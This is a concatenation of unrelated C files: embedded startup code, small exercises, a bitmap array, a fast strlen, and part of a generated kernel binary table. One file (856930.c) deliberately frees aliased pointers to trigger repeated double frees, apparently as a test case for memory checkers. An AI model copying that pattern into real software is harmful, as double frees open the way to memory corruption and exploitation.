printf(" %d", nmalloc[i]);
totused += nmalloc[i] * (1 << (i + 3));
}
if (s[1])
printf("\n");
printf("Total in use: %d, total free: %d\n", totused, totfree);
}
|
the_stack_data/856930.c | /* Construct an array of pointers to integers.
Every 7th item in the array has the same value
as the first item in the array. Iterate over the
array and free all pointers, thus causing double
free multiple times. */
#include <stdlib.h>
#define ARRSZ 100
int main()
{
int *arr[ARRSZ], i;
for (i = 0; i < ARRSZ; i++)
{
if (i > 0 && i % 7 == 0)
arr[i] = arr[0];
else
{
arr[i] = malloc(sizeof(int));
*arr[i] = i;
}
}
for (i = 0; i < ARRSZ; i++)
free(arr[i]);
return 0;
}
|
the_stack_data/50138835.c | const unsigned char gImage_5[800] = { /* 0X00,0X01,0X50,0X00,0X50,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X7F,0XFE,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0XFF,0XFF,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X03,0XF8,0X1F,0XC0,0X00,
0X00,0X00,0X00,0X00,0X00,0X07,0XE0,0X03,0XF0,0X00,0X00,0X00,0X00,0X00,0X00,0X0F,
0X80,0X00,0XF0,0X00,0X00,0X00,0X00,0X00,0X00,0X0F,0X00,0X00,0X78,0X00,0X00,0X00,
0X00,0X00,0X00,0X1E,0X00,0X00,0X3C,0X00,0X00,0X00,0X00,0X00,0X00,0X3C,0X00,0X00,
0X1C,0X00,0X00,0X00,0X00,0X00,0X00,0X3C,0X00,0X00,0X1E,0X00,0X00,0X00,0X00,0X00,
0X0F,0XFC,0X00,0X00,0X0F,0XFC,0X00,0X00,0X00,0X00,0XFF,0XFC,0X00,0X00,0X0F,0XFF,
0X80,0X00,0X00,0X01,0XFF,0XFC,0X00,0X00,0X0F,0XFF,0XC0,0X00,0X00,0X07,0XE0,0X3E,
0X00,0X00,0X3C,0X01,0XF0,0X00,0X00,0X0F,0X80,0X0F,0X00,0X00,0X70,0X00,0XF8,0X00,
0X00,0X1F,0X00,0X07,0X80,0X00,0XE0,0X00,0X38,0X00,0X00,0X1E,0X00,0X03,0X00,0X01,
0XC0,0X00,0X1C,0X00,0X00,0X3C,0X00,0X00,0X00,0X01,0X80,0X00,0X1C,0X00,0X00,0X38,
0X00,0X00,0X00,0X03,0X80,0X00,0X1C,0X00,0X00,0X38,0X00,0X00,0X00,0X07,0X00,0X00,
0X1E,0X00,0X00,0X78,0X00,0X00,0X00,0X07,0X00,0X00,0X1E,0X00,0X00,0X78,0X00,0X00,
0X00,0X07,0X00,0X00,0X1E,0X00,0X00,0X78,0X00,0X00,0X00,0X06,0X00,0X00,0X1C,0X00,
0X00,0X78,0X00,0X00,0X00,0X00,0X00,0X00,0X1C,0X00,0X00,0X38,0X00,0X00,0X00,0X00,
0X00,0X00,0X1C,0X00,0X00,0X38,0X00,0X00,0X00,0X00,0X00,0X00,0X1C,0X00,0X00,0X1E,
0X00,0X00,0X00,0X00,0X00,0X00,0X78,0X00,0X00,0X1E,0X00,0X00,0X00,0X00,0X00,0X00,
0X78,0X00,0X00,0X0F,0X80,0X00,0X00,0X00,0X00,0X01,0XE0,0X00,0X00,0X07,0XC0,0X00,
0X00,0X00,0X00,0X03,0XE0,0X00,0X00,0X03,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0X80,0X00,
0X00,0X01,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0X00,0X00,0X00,0X00,0X3F,0XFF,0XFF,0XFF,
0XFF,0XFC,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X01,0X80,0X60,0X1F,0X3F,0XE0,0X00,0X00,0X00,0X00,0X01,0XE0,0XE7,0X3F,0XFF,0XF0,
0X00,0X00,0X00,0X00,0X01,0XF1,0XEF,0X7F,0XFF,0XF0,0X00,0X00,0X00,0X00,0X01,0XFB,
0XEF,0X78,0X07,0X80,0X00,0X00,0X00,0X00,0X01,0XFF,0XEF,0X7E,0X07,0X80,0X00,0X00,
0X00,0X00,0X01,0XFF,0XEF,0X3F,0X87,0X80,0X00,0X00,0X00,0X00,0X01,0XFF,0XEF,0X1F,
0XC7,0X80,0X00,0X00,0X00,0X00,0X01,0XCF,0XEF,0X07,0XC7,0X80,0X00,0X00,0X00,0X00,
0X01,0XC0,0XEF,0X23,0XC7,0X80,0X00,0X00,0X00,0X00,0X01,0XC0,0XEF,0X3F,0XC7,0X80,
0X00,0X00,0X00,0X00,0X01,0XC0,0XEF,0X7F,0X87,0X80,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X3F,0X02,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
};
|
the_stack_data/198580258.c | /**
* @file myvec.c
* ベクタ関連用の関数群
*/
#include <ctype.h>
/**
* strからベクタに変換する
*/
int strtovec(char *s, char **v, int max) {
int i, skip;
if (max < 1 || v == 0) {
skip = 1;
} else {
skip = 0;
}
i = 0;
for (;;) {
if (!skip && i >= max - 1) {
v[i] = 0;
skip = 1;
}
// 頭の空白を無視
while (*s != '\0' && isspace(*s)) {
s++;
}
if (*s == '\0') {
break;
}
// 空白でない文字が見つかった
if (!skip) {
v[i] = s;
}
i++;
// その語の終わりを探す
while (*s != '\0' && !isspace(*s)) {
s++;
}
if (*s == '\0') {
break;
}
// 空白が見つかった
*s = '\0';
s++;
}
if (!skip) {
v[i] = 0;
}
i++;
return i;
} |
the_stack_data/22597.c | /**
* @file startup_efm32gg.c
* @brief CMSIS Compatible EFM32GG startup file in C.
* Should be used with GCC 'GNU Tools ARM Embedded'
* @version 5.1.2
* Date: 12 June 2014
*
*/
/* Copyright (c) 2011 - 2014 ARM LIMITED
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of ARM nor the names of its contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
*
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------*/
/*
* Modified by Hans 12/2017
* Cosmetic changes for legibility
* Modified definition of StackTop to enable pedantic gcc flag
* SystemInit can be called before or after initialization
*
*/
#include <stdint.h>
/**************************************************************************//**
* CONFIGURATION
*****************************************************************************/
/*
* __SYSTEM_INIT_BEFORE_INIT call SystemInit before initialization of
* DATA and BSS Section
* __SYSTEM_INIT_AFTER_INIT call SystemInit after initialization of
* DATA and BSS Section (default)
*
* __STARTUP_COPY_MULTIPLE Initializes data of multiple sections
* __STARTUP_CLEAR_BSS_MULTIPLE Clear (set to zero) multiple sections
* __STARTUP_CLEAR_BSS Clear (set to zero) BSS Section (default)
*
* __NOSYSTEM_INIT Not necessary anymore because there is a dummy
* SystemInit in this file defined as weak
* __STACK_SIZE Stack size (default is 1024 bytes)
* __HEAP_SIZE Heap size for malloc (default is 3072 = 12*256)
*
* __START ????
*/
/*----------------------------------------------------------------------------
Call to SystemInit can be before or after (default) initialization of data
*----------------------------------------------------------------------------*/
#ifndef __SYSTEM_INIT_BEFORE_INIT
#define __SYSTEM_INIT_AFTER_INIT
#endif
/* Function (in system_efm32gg.c) to update the SystemCoreClock variable */
uint32_t SystemCoreClockGet(void);
/*----------------------------------------------------------------------------
Define how initialize DATA and BSS section
*----------------------------------------------------------------------------*/
//#define __STARTUP_COPY_MULTIPLE
#ifndef __STARTUP_CLEAR_BSS_MULTIPLE
#define __STARTUP_CLEAR_BSS
#endif
/*****************************************************************************
* End of Configuration
*****************************************************************************/
/*----------------------------------------------------------------------------
Exception / Interrupt Handler Function Prototype
*----------------------------------------------------------------------------*/
typedef void( *pFunc )( void );
/*----------------------------------------------------------------------------
Linker generated Symbols
*----------------------------------------------------------------------------*/
extern uint32_t __etext;
extern uint32_t __data_start__;
extern uint32_t __data_end__;
extern uint32_t __copy_table_start__;
extern uint32_t __copy_table_end__;
extern uint32_t __zero_table_start__;
extern uint32_t __zero_table_end__;
extern uint32_t __bss_start__;
extern uint32_t __bss_end__;
extern void __StackTop(void); /* Hans: to use pedantic flag in gcc */
/*----------------------------------------------------------------------------
External References to BSP and
*----------------------------------------------------------------------------*/
#if 0
#ifndef __START
extern void _start(void) __attribute__((noreturn)); /* Pre Main (C library entry point) */
#else
extern int __START(void) __attribute__((noreturn)); /* main entry point */
#endif
#endif //0
/*----------------------------------------------------------------------------
STOP Macro. Can be used when stack fails
*----------------------------------------------------------------------------*/
#define __STOP() while(1) {}
/*----------------------------------------------------------------------------
References
*----------------------------------------------------------------------------*/
void __attribute__((weak)) _main(void);
void __attribute__((weak)) SystemInit(void);
void __attribute__((weak)) Default_Handler(void);
extern void main(void);
/*----------------------------------------------------------------------------
User Initial Stack & Heap
*----------------------------------------------------------------------------*/
#ifndef __STACK_SIZE
#define __STACK_SIZE 0x00000400
#endif
static uint8_t stack[__STACK_SIZE] __attribute__ ((aligned(8), used, section(".stack")));
#ifndef __HEAP_SIZE
#define __HEAP_SIZE 0x00000C00
#endif
#if __HEAP_SIZE > 0
static uint8_t heap[__HEAP_SIZE] __attribute__ ((aligned(8), used, section(".heap")));
#endif
/*----------------------------------------------------------------------------
Exception / Interrupt Handler
*----------------------------------------------------------------------------*/
/* Cortex-M Processor Exceptions */
void Reset_Handler (void) __attribute__((weak));
void NMI_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void HardFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void MemManage_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void BusFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void UsageFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void DebugMon_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void SVC_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void PendSV_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void SysTick_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
/* Part Specific Interrupts */
void DMA_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void GPIO_EVEN_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART0_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART0_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USB_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void ACMP0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void ADC0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void DAC0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void I2C0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void I2C1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void GPIO_ODD_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER2_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER3_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART1_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART1_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LESENSE_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART2_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART2_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void UART0_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void UART0_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void UART1_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void UART1_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LEUART0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LEUART1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LETIMER0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT2_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void RTC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void BURTC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CMU_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void VCMP_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LCD_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void MSC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void AES_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void EBI_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void EMU_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
/*----------------------------------------------------------------------------
Exception / Interrupt Vector table
*----------------------------------------------------------------------------*/
const pFunc __Vectors[] __attribute__ ((section(".vectors"))) = {
/* Cortex-M Exception Handlers */
(pFunc) &__StackTop, /* Initial Stack Pointer */
Reset_Handler, /* Reset Handler */
NMI_Handler, /* NMI Handler */
HardFault_Handler, /* Hard Fault Handler */
MemManage_Handler, /* MPU Fault Handler */
BusFault_Handler, /* Bus Fault Handler */
UsageFault_Handler, /* Usage Fault Handler */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
SVC_Handler, /* SVCall Handler */
DebugMon_Handler, /* Debug Monitor Handler */
Default_Handler, /* Reserved */
PendSV_Handler, /* PendSV Handler */
SysTick_Handler, /* SysTick Handler */
/* External interrupts */
DMA_IRQHandler, /* 0 - DMA */
GPIO_EVEN_IRQHandler, /* 1 - GPIO_EVEN */
TIMER0_IRQHandler, /* 2 - TIMER0 */
USART0_RX_IRQHandler, /* 3 - USART0_RX */
USART0_TX_IRQHandler, /* 4 - USART0_TX */
USB_IRQHandler, /* 5 - USB */
ACMP0_IRQHandler, /* 6 - ACMP0 */
ADC0_IRQHandler, /* 7 - ADC0 */
DAC0_IRQHandler, /* 8 - DAC0 */
I2C0_IRQHandler, /* 9 - I2C0 */
I2C1_IRQHandler, /* 10 - I2C1 */
GPIO_ODD_IRQHandler, /* 11 - GPIO_ODD */
TIMER1_IRQHandler, /* 12 - TIMER1 */
TIMER2_IRQHandler, /* 13 - TIMER2 */
TIMER3_IRQHandler, /* 14 - TIMER3 */
USART1_RX_IRQHandler, /* 15 - USART1_RX */
USART1_TX_IRQHandler, /* 16 - USART1_TX */
LESENSE_IRQHandler, /* 17 - LESENSE */
USART2_RX_IRQHandler, /* 18 - USART2_RX */
USART2_TX_IRQHandler, /* 19 - USART2_TX */
UART0_RX_IRQHandler, /* 20 - UART0_RX */
UART0_TX_IRQHandler, /* 21 - UART0_TX */
UART1_RX_IRQHandler, /* 22 - UART1_RX */
UART1_TX_IRQHandler, /* 23 - UART1_TX */
LEUART0_IRQHandler, /* 24 - LEUART0 */
LEUART1_IRQHandler, /* 25 - LEUART1 */
LETIMER0_IRQHandler, /* 26 - LETIMER0 */
PCNT0_IRQHandler, /* 27 - PCNT0 */
PCNT1_IRQHandler, /* 28 - PCNT1 */
PCNT2_IRQHandler, /* 29 - PCNT2 */
RTC_IRQHandler, /* 30 - RTC */
BURTC_IRQHandler, /* 31 - BURTC */
CMU_IRQHandler, /* 32 - CMU */
VCMP_IRQHandler, /* 33 - VCMP */
LCD_IRQHandler, /* 34 - LCD */
MSC_IRQHandler, /* 35 - MSC */
AES_IRQHandler, /* 36 - AES */
EBI_IRQHandler, /* 37 - EBI */
EMU_IRQHandler, /* 38 - EMU */
};
/*----------------------------------------------------------------------------
Reset Handler called on controller reset
*----------------------------------------------------------------------------*/
void __attribute__((weak,naked)) Reset_Handler(void) {
uint32_t *pSrc, *pDest;
uint32_t *pTable __attribute__((unused));
#ifdef __SYSTEM_INIT_BEFORE_INIT
/* SystemInit runs with unitialized data */
SystemInit();
#endif
/* Firstly it copies data from read only memory to RAM. There are two schemes
* to copy. One can copy more than one sections. Another can only copy
* one section. The former scheme needs more instructions and read-only
* data to implement than the latter.
* Macro __STARTUP_COPY_MULTIPLE is used to choose between two schemes. */
#ifdef __STARTUP_COPY_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __copy_table_start__ and __copy_table_end__,
* there are array of triplets, each of which specify:
* offset 0: LMA of start of a section to copy from
* offset 4: VMA of start of a section to copy to
* offset 8: size of the section to copy. Must be multiply of 4
*
* All addresses must be aligned to 4 bytes boundary.
*/
pTable = &__copy_table_start__;
for (; pTable < &__copy_table_end__; pTable = pTable + 3)
{
pSrc = (uint32_t*)*(pTable + 0);
pDest = (uint32_t*)*(pTable + 1);
for (; pDest < (uint32_t*)(*(pTable + 1) + *(pTable + 2)) ; )
{
*pDest++ = *pSrc++;
}
}
#else
/* Single section scheme.
*
* The ranges of copy from/to are specified by following symbols
* __etext: LMA of start of the section to copy from. Usually end of text
* __data_start__: VMA of start of the section to copy to
* __data_end__: VMA of end of the section to copy to
*
* All addresses must be aligned to 4 bytes boundary.
*/
pSrc = &__etext;
pDest = &__data_start__;
for ( ; pDest < &__data_end__ ; )
{
*pDest++ = *pSrc++;
}
#endif /*__STARTUP_COPY_MULTIPLE */
/* This part of work usually is done in C library startup code. Otherwise,
* define this macro to enable it in this startup.
*
* There are two schemes too. One can clear multiple BSS sections. Another
* can only clear one section. The former is more size expensive than the
* latter.
*
* Define macro __STARTUP_CLEAR_BSS_MULTIPLE to choose the former.
* Otherwise efine macro __STARTUP_CLEAR_BSS to choose the later.
*/
#ifdef __STARTUP_CLEAR_BSS_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __zero_table_start__ and __zero_table_end__,
* there are array of tuples specifying:
* offset 0: Start of a BSS section
* offset 4: Size of this BSS section. Must be multiply of 4
*/
pTable = &__zero_table_start__;
for (; pTable < &__zero_table_end__; pTable = pTable + 2)
{
pDest = (uint32_t*)*(pTable + 0);
for (; pDest < (uint32_t*)(*(pTable + 0) + *(pTable + 1)) ; )
{
*pDest++ = 0;
}
}
#elif defined (__STARTUP_CLEAR_BSS)
/* Single BSS section scheme.
*
* The BSS section is specified by following symbols
* __bss_start__: start of the BSS section.
* __bss_end__: end of the BSS section.
*
* Both addresses must be aligned to 4 bytes boundary.
*/
pDest = &__bss_start__;
for ( ; pDest < &__bss_end__ ; )
{
*pDest++ = 0ul;
}
#endif /* __STARTUP_CLEAR_BSS_MULTIPLE || __STARTUP_CLEAR_BSS */
#ifdef __SYSTEM_INIT_AFTER_INIT
/* SystemInit runs with initialized data */
SystemInit();
#endif
#ifndef DO_NO_INITIALIZE_SYSTEM_CORE_CLOCK
SystemCoreClockGet();
#endif
/* Initialize C library */
_main();
/* Call main routine (user code) */
main();
/* Stop */
__STOP();
}
/*----------------------------------------------------------------------------
Dummy SystemInit. Only used when there is no other SystemInit defined
*----------------------------------------------------------------------------*/
void SystemInit(void) {
}
/*----------------------------------------------------------------------------
Dummy _main. Only used for library initialization.
*----------------------------------------------------------------------------*/
void _main(void) {
}
/*----------------------------------------------------------------------------
Default Handler for Exceptions / Interrupts
*----------------------------------------------------------------------------*/
void Default_Handler(void) {
__STOP();
}
|
the_stack_data/151706658.c | #include <stdio.h>
/* print Fahreneit-Celsius table
for fahr = 0, 20, ..., 300 */
int main()
{
int fahr, celsius;
int lower, upper, step;
lower = 0;
upper = 300;
step = 20;
fahr = lower;
while(fahr <= upper) {
celsius = 5 * (fahr-32)/9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + step;
}
}
|
the_stack_data/37637546.c | #include <stdio.h>
#define square(x) ((x) * (x))
#define square_1(x) (x * x)
int main()
{
printf("square 5+4 is %d \n", square(5+4));
printf("square_1 5+4 is %d \0", square_1(5+4));
return 0;
} |
the_stack_data/283747.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlen.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: fdiego <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/10/31 22:48:11 by fdiego #+# #+# */
/* Updated: 2021/01/22 10:05:04 by fdiego ### ########.fr */
/* */
/* ************************************************************************** */
#include "stddef.h"
#include <stdint.h>
static inline const char *ft_strlen_check(const char *char_ptr)
{
if (*char_ptr == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
if (*(++char_ptr) == 0)
return (char_ptr);
return (NULL);
}
size_t ft_strlen(const char *str)
{
uint64_t const *longword_ptr;
char const *const start_ptr = str;
while ((((__uint64_t)str & (sizeof(__uint64_t) - 1)) != 0))
{
if (*str == '\0')
return (str - start_ptr);
str++;
}
longword_ptr = (__uint64_t*)str;
while (1)
{
if (((*longword_ptr - 0x0101010101010101LL) &
~(*longword_ptr) & 0x8080808080808080LL) != 0)
return (ft_strlen_check((const char*)longword_ptr) - start_ptr);
longword_ptr++;
}
}
|
the_stack_data/92328044.c | double e(int x, int n)
{
static double p=1,f=1;
double r;
if(n==0)
return 1;
r=e(x,n-1);
p=p*x;
f=f*n;
return r+p/f;
}
int main()
{
printf("%lf \n",e(4,15));
return 0;
} |
the_stack_data/181392113.c | /*
* Copyright (c) 2022, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* 'Software'), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
////////////////////////////////////////////////////////////////////////////////
// !!! WARNING - AUTO GENERATED FILE. DO NOT EDIT DIRECTLY. !!!
// Generated by KernelBinToSource.exe tool
////////////////////////////////////////////////////////////////////////////////
#ifdef IGFX_GENIGVPKRN_XE_HPM_CMFCPATCH_SUPPORTED
extern const unsigned int IGVPKRN_XE_HPM_CMFCPATCH_SIZE = 180276;
extern const unsigned int IGVPKRN_XE_HPM_CMFCPATCH[] =
{
0x00000000, 0x000004a0, 0x00000cd0, 0x00001510, 0x00001650, 0x00001780, 0x000018d0, 0x000019f0,
0x00001b30, 0x00001c70, 0x00001db0, 0x00001ed0, 0x00002010, 0x00002150, 0x00002290, 0x000023d0,
0x00002510, 0x00002650, 0x000027a0, 0x00002fc0, 0x00003510, 0x00003b50, 0x000041a0, 0x000047e0,
0x00004e10, 0x00005590, 0x000059d0, 0x00005d00, 0x00006540, 0x00006d80, 0x000075a0, 0x000077e0,
0x000078e0, 0x00007b20, 0x00007c20, 0x00007ec0, 0x00007fc0, 0x00008260, 0x00008360, 0x00008370,
0x00008b90, 0x000093b0, 0x000095f0, 0x00009830, 0x00009a70, 0x00009cb0, 0x00009ef0, 0x0000a130,
0x0000a370, 0x0000a5b0, 0x0000a7f0, 0x0000aa30, 0x0000ac70, 0x0000aeb0, 0x0000b0f0, 0x0000b330,
0x0000b570, 0x0000b7b0, 0x0000b9f0, 0x0000bc30, 0x0000be70, 0x0000c0b0, 0x0000c2f0, 0x0000c530,
0x0000c770, 0x0000c9b0, 0x0000cc10, 0x0000ce70, 0x0000d0d0, 0x0000d330, 0x0000d580, 0x0000d7a0,
0x0000d9f0, 0x0000dc10, 0x0000de60, 0x0000e080, 0x0000e2d0, 0x0000e4f0, 0x0000e740, 0x0000e960,
0x0000ebb0, 0x0000edd0, 0x0000f020, 0x0000f240, 0x0000f490, 0x0000f6b0, 0x0000f910, 0x0000fb80,
0x0000fda0, 0x0000ffc0, 0x000101e0, 0x00010400, 0x00010670, 0x000108e0, 0x00010b00, 0x00010d20,
0x00010f80, 0x000111b0, 0x00011410, 0x00011640, 0x000118a0, 0x00011ad0, 0x00011d30, 0x00011f60,
0x000121c0, 0x000123f0, 0x00012650, 0x00012880, 0x00012ae0, 0x00012d10, 0x00012f70, 0x000131a0,
0x00013410, 0x00013690, 0x000138c0, 0x00013af0, 0x00013d20, 0x00013f50, 0x000141d0, 0x00014450,
0x000146b0, 0x00014910, 0x00014b70, 0x00014dd0, 0x00015020, 0x00015280, 0x000154d0, 0x00015720,
0x00015970, 0x00015bd0, 0x00015e20, 0x00016070, 0x000162c0, 0x00016520, 0x00016770, 0x000169c0,
0x00016c10, 0x00016e70, 0x000170c0, 0x00017310, 0x00017570, 0x000177e0, 0x00017a50, 0x00017cc0,
0x00017f30, 0x000181a0, 0x00018410, 0x00018680, 0x000188e0, 0x00018b40, 0x00018da0, 0x00019000,
0x00019840, 0x00019940, 0x00019d80, 0x0001a370, 0x0001a700, 0x0001aa90, 0x0001ae60, 0x0001b230,
0x0001b9c0, 0x0001bd60, 0x0001c050, 0x0001c450, 0x0001c8c0, 0x0001cc80, 0x0001d270, 0x0001d8f0,
